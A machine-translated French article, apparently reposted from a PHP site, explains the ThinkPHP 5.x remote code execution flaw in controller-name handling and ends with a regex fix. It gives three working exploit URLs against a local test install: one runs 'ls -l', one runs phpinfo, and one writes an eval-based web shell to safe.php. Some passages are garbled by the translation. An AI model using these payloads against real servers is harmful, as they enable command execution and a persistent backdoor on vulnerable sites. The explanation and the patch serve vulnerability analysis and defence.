Corrections de bugs de THINKPHP Récemment, le responsable a mis à niveau toutes les versions existantes de thinkphp de 5.0 à 5.1, ainsi que des mises à jour de correctifs. Cette mise à jour corrige principalement certains bugs. la vulnérabilité d'injection SQL existante et la vulnérabilité du système de requête d'exécution de code à distance ont été réparées. Les responsables pensaient qu'il n'y aurait aucun problème, mais lors de l'inspection de sécurité proprement dite, il a été constaté qu'il y avait toujours des problèmes et que l'injection de code à distance pouvait être résolue. reste à faire, insérez des caractères illégaux et soumettez-les au backend du serveur.
Concernant la vulnérabilité oday découverte cette fois, jetons un coup d'œil à ce à quoi elle ressemble. Le chemin du fichier programme mis à jour est app.php dans le répertoire think sous le dossier bibliothèque. . , comme indiqué ci-dessous :
La raison de la vulnérabilité réside dans ce contrôleur. Les fonctions de l'ensemble du framework thinkphp n'effectuent pas de filtrage et d'inspection de sécurité stricts sur le contrôleur. , permettant les attaques L'attaquant peut forger des paramètres malveillants pour forcer l'insertion. La raison la plus fondamentale est que l'expression régulière n'est pas bien écrite, ce qui peut être contourné.
Une fois que le contrôleur a obtenu le contrôleur, il attribue directement la valeur. Cependant, le nom du contrôleur n'est pas strictement détecté, ce qui entraîne l'utilisation de symboles spéciaux tels que des barres obliques pour l'injection de code à distance.
Configurons l'environnement du site Web, apache+mysql+Linux centos system L'adresse de l'environnement de test construit est http://127.0.01/anquan Nous pouvons directement forger les paramètres d'attaque derrière index.php. . , un exemple est le suivant :
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
Soumettez-le directement au site Web via la méthode get, et vous pourrez directement interroger tous les fichiers du répertoire racine actuel du site Web : <🎜. >
Grâce à cette vulnérabilité, vous pouvez également injecter directement du code à distance pour exécuter l'instruction phpinfo, interroger la version actuelle de php, le chemin, l'extension et l'adresse où php.ini est stocké, tout cela peut être vu. Construisez simplement le code suivant.http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_GET["cmd"]);?>%27%20>%20safe.php
if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!